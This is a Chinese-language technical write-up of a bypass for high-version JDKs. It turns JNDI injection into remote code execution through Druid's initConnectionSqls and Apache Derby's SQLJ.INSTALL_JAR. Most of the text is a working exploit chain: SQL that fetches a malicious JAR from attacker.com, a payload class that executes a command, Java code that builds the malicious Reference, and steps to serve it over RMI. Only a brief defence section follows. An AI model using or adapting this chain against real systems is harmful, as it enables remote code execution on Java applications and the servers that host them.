高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过
字数 1619 2025-08-29 08:30:31
高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过技术分析
一、漏洞背景与原理
本技术文档分析了一种在高版本JDK环境下(如JDK 17),通过结合Apache Derby数据库和Druid连接池,将JNDI注入漏洞转换为JDBC攻击的绕过技术。
核心原理
- JNDI注入限制:高版本JDK(如17+)对JNDI注入进行了严格限制,传统的利用方式(如LDAP/RMI引用加载远程类)被阻断
- 技术转换:通过Druid连接池的特定配置,将JNDI注入转换为可控的JDBC SQL注入
- Derby特性利用:利用Apache Derby数据库的
INSTALL_JAR功能加载远程恶意JAR并执行其中的静态方法
二、环境依赖
必要组件
- 数据库:Apache Derby 10.14.2.0+
- 连接池:Druid连接池
- JDK版本:JDK 17(高版本限制环境下)
- 其他依赖:无特殊要求
三、技术细节分析
1. Derby数据库的RCE能力
Apache Derby提供了通过SQL加载远程JAR并执行其中方法的能力:
-- 1. 安装远程JAR
CALL SQLJ.INSTALL_JAR('http://attacker.com/Evil.jar', 'APP.EvilJar', 0);
-- 2. 将JAR添加到类路径
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP.EvilJar');
-- 3. 创建存储过程调用JAR中的静态方法
CREATE PROCEDURE evilMethod()
PARAMETER STYLE JAVA
LANGUAGE JAVA
EXTERNAL NAME 'com.example.EvilClass.execute';
-- 4. 调用存储过程执行RCE
CALL evilMethod();
关键点:
- 方法必须是
static方法 - JAR需要托管在可访问的Web服务器上
- Derby的
INSTALL_JAR功能允许直接从URL加载JAR
2. Druid连接池的利用点
Druid连接池的DruidDataSourceFactory类存在可利用的初始化参数:
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
// ...
Reference reference = (Reference)obj;
StringRefAddr driverClassName = (StringRefAddr)reference.get("driverClassName");
StringRefAddr url = (StringRefAddr)reference.get("url");
StringRefAddr username = (StringRefAddr)reference.get("username");
StringRefAddr password = (StringRefAddr)reference.get("password");
StringRefAddr initConnectionSqls = (StringRefAddr)reference.get("initConnectionSqls");
// ...
}
关键参数:
initConnectionSqls:可指定初始化SQL语句,多个语句用分号分隔- 这些参数通过
StringRefAddr传入,只能为字符串类型
3. 攻击链构建
- JNDI注入点:应用存在可控的
lookup()调用 - Druid利用:构造恶意的
Reference对象,设置initConnectionSqls参数 - Derby执行:
initConnectionSqls中包含利用Derby加载远程JAR并执行的SQL - RCE达成:远程JAR中的恶意静态方法被执行
四、完整攻击步骤
1. 准备恶意JAR
创建包含静态方法的Java类:
// EvilClass.java
package com.example;
public class EvilClass {
public static void execute() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译并打包:
javac EvilClass.java
jar cvf Evil.jar EvilClass.class
将Evil.jar托管在Web服务器上(如http://attacker.com/Evil.jar)
2. 构造恶意Reference
创建恶意的JNDI Reference对象:
Reference ref = new Reference("javax.sql.DataSource",
"com.alibaba.druid.pool.DruidDataSourceFactory", null);
// 设置基本JDBC参数
ref.add(new StringRefAddr("driverClassName", "org.apache.derby.jdbc.EmbeddedDriver"));
ref.add(new StringRefAddr("url", "jdbc:derby:memory:testdb;create=true"));
ref.add(new StringRefAddr("username", "user"));
ref.add(new StringRefAddr("password", "pass"));
// 设置恶意SQL
String evilSql = "CALL SQLJ.INSTALL_JAR('http://attacker.com/Evil.jar', 'APP.EvilJar', 0);" +
"CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP.EvilJar');" +
"CREATE PROCEDURE evilMethod() PARAMETER STYLE JAVA LANGUAGE JAVA EXTERNAL NAME 'com.example.EvilClass.execute';" +
"CALL evilMethod()";
ref.add(new StringRefAddr("initConnectionSqls", evilSql));
3. 部署恶意JNDI服务
可以使用RMI或LDAP服务发布这个Reference对象:
// 示例:RMI服务
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evilDS", wrapper);
4. 触发攻击
当受害者应用调用lookup("rmi://attacker.com/evilDS")时:
- Druid会解析Reference并创建数据源
- 初始化时执行
initConnectionSqls中的SQL - Derby加载远程JAR并执行恶意方法
五、防御措施
1. 针对开发人员
- 避免使用不可信的JNDI查找
- 限制Druid的配置来源
- 禁用Derby的
INSTALL_JAR功能(如可能)
2. 针对运维人员
- 升级Derby到最新版本并检查安全配置
- 网络层面限制出站连接,防止加载远程JAR
- 监控异常的数据库操作
3. 通用建议
- 使用最新版本的JDK和组件
- 实施最小权限原则
- 定期安全审计和漏洞扫描
六、技术限制与变种
技术限制
- 依赖Derby数据库的使用
- 需要Druid连接池的特定版本
- 需要出站网络连接加载JAR
可能的变种
- 使用其他支持远程代码加载的数据库(如H2)
- 结合其他连接池的类似特性
- 利用数据库内置函数实现无文件RCE
七、参考资源
- Apache Derby官方文档 - INSTALL_JAR功能
- Druid连接池源码分析
- JDK 17安全增强说明
- JNDI注入防御最佳实践
通过这种技术,攻击者可以在高版本JDK的限制环境下,通过转换攻击面实现RCE,展示了现代应用安全中组件交互带来的复杂攻击面。